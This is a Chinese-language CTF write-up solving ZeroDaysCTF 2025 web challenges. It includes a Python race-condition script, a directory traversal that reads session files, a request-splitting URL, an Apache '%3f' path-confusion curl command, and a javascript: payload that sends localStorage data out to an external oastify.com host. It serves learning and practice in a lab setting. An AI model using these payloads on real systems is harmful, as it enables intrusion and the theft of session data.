ZeroDaysCTF-web题解

前言

该比赛笔者并未参加,只是赛后默默自己复现着做

感谢比赛方伟大的开源:https://github.com/ZeroDaysCTF/ZeroDaysCTF_2025_Public

JohnAndMarys

最主要的文件便是app.py,里面着重看下面这个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@app.route('/order', methods=['GET','POST'])
def order():
if request.method != 'POST':
return redirect("/")
sess_id = session.get('session_id')
whiskey_limit = session_data[sess_id].get('whiskey_limit')
time.sleep(1)
order = request.json
order['quantity'] = int(order['quantity'])
if order['quantity']<1:
return "Order fail - quantity must be greater than zero"
if order['item'] not in ["whiskey", "candles", "tea"]:
return "Order fail - invalid item, we dont stock that!"
if order['item'] == 'whiskey':
if order['quantity'] <= whiskey_limit:
session_data[sess_id]['whiskey_limit'] = whiskey_limit - order['quantity']
else:
return "Order fail - over whiskey limit"
session_data[sess_id]['orders'].append((order['item'], order['quantity']))
return f"Order placed successfully: {order['item']} x {order['quantity']}"

该函数主要就是从session中获取到威士忌还能买的数量后再进行购买

代码中设定了顶多只能买两瓶

但是从下面代码中国我们可以得知要想获取到flag,那么威士忌购买数量必须要大于两瓶才可以

1
2
3
4
5
6
7
8
9
10
11
12
13
@app.route('/order-list')
def orderlist():
flagval = "No flag yet, not enough drink ordered"
sess_id = session.get('session_id')
orders = session_data[sess_id]['orders']
drink_count = 0
for order in orders:
item,quantity = order
if item == 'whiskey':
drink_count+=quantity
if drink_count > 2:
flagval = flag
return render_template('orderlist.html', orders=orders, whiskey_limit=session_data[sess_id]['whiskey_limit'], flag=flagval)

回头再研究一下order()函数,发现一行代码很奇怪:time.sleep(1)

无缘无故的,这样搞不就可以用上条件竞争了嘛

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import requests
import threading
from threading import Thread

host = "http://127.0.0.1:9876"

# 获取 cookie
response = requests.head(host)
cookie = response.headers.get('Set-Cookie').split(';')[0]
print(cookie)

# 发送订单的函数
def send_order():
headers = {
'Content-Type': 'application/json',
'Cookie': cookie
}
data = {
'item': 'whiskey',
'quantity': '1'
}
requests.post(f"{host}/order", headers=headers, json=data)

# 创建并启动多个线程发送订单
threads = []
for _ in range(4):
t = Thread(target=send_order)
t.start()
threads.append(t)

# 等待所有线程完成
for t in threads:
t.join()

# 获取订单列表并检查 Flag
response = requests.get(f"{host}/order-list", headers={'Cookie': cookie})
if "Flag" in response.text:
print("Found Flag in response:")
print(response.text)
else:
print("No Flag found in response")

成功拿到flag

Familiar Faces

首先我们看到有写一个bot,会每隔60秒就把falg传到session里面,参数名是secret

然后再看index.php

有一段代码是会打印出你session中的secret值

image-20250420172708450

当然上面有段代码是写进secret值的

再往下审计,直接将get传参的值进行了拼接,没有任何的检测

然后再对$countyPath目录下面的文件进行遍历

image-20250420172845457

那我们就目录穿越,apache服务下面session文件默认是在tmp目录下面

image-20250420173036103

发现session文件内容都没打印出来,只有session文件名

当时卡了一会,经朋友提醒才想起来session文件名的sess_后面的部分就是我们的cookie值

进行更改,成功打印出flag

image-20250420173650693

spinmaster

这题题解说是0day

image-20250420205205442

1
/?method=POST%20/flag%20HTTP/1.1%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%209%0d%0a%0d%0agive=flag

ApacheCultureNight

apache/httpd版本要低于2.4.60

该题所涉及到的漏洞及其利用都位于该篇文章中:https://blog.orange.tw/posts/2024-08-confusion-attacks-en/

从文章中我们可以了解到该题用到的是文件名混淆攻击,通过apache内部各个模块之间的交流沟通有一定问题的情况下进行的攻击

image-20250421104648026

文章中提到的mod_rewirte,我们在看httpd.conf文件时在其末尾有写到

image-20250421104809311

mod_rewrite 强制将所有重写的结果视为 URL,因此即使目标是文件系统路径,也可以在问号处截断

利用问号进行截断来访问原本访问不到的文件,题目仅开放了files目录下面的访问权限,而我们的flag.txt文件也恰好在该目录下面

所以我们的payload如下

1
curl http://172.17.0.2/flag.txt%3flol.png

quote-of-the-day

搭起来的docker容器,题目里面的各个按钮功能先自己测试一遍

看app.py文件,重点关注下面这段代码

1
2
3
4
5
6
7
@app.route('/api/report', methods=['POST'])
def report():
url = request.json.get('url')
r = requests.post('http://bot:3000/visit', json={"url": url})
if r.status_code == 200:
return jsonify({"status": "success"})
return jsonify({"status": "failure"})

发现是给bot发了一个请求

那我们就去看看跟bot有关的代码文件——app.js,flag位置:const FLAG = process.env.FLAG || 'ZeroDays{fake_flag}';

下面有定义一个POST的visit路由,接收一个包含url的JSON请求体

在page.evaluateOnNewDocument中,将FLAG写入localStorage的session项。这一步可能是在页面加载之前注入一些数据,比如用户的会话信息或者flag本身。然后访问http://web:5000/,并再次在页面上下文中将FLAG写入localStorage的FLAG项

在这之后,会再次导航到我们传过去的url

没有对我们传的url进行任何的检测,这就说明我们可以上传一个恶意的url

总结一下visit路由相关代码逻辑,流程是:

  1. 创建新页面。
  2. 在页面加载前注入localStorage的session项。
  3. 导航到web:5000,并再次设置FLAG到localStorage。
  4. 然后导航到用户提供的url。
  5. 等待3秒后关闭页面。

我们传过去的如果是javascript: URI的话,执行的环境是当前页面的源,也就是web:5000,所以可以访问该源的localStorage。因此,如果攻击者提交的url是javascript:…这样的代码,那么当页面导航到该URL时,会执行该脚本,此时就可以读取localStorage中的FLAG,并将其外泄

payload:

1
javascript:fetch('http://nja4ij5myfi8rnuavztvkob4vv1mpcd1.oastify.com?flag=' + encodeURIComponent(localStorage.FLAG))

外带成功

image-20250421204310674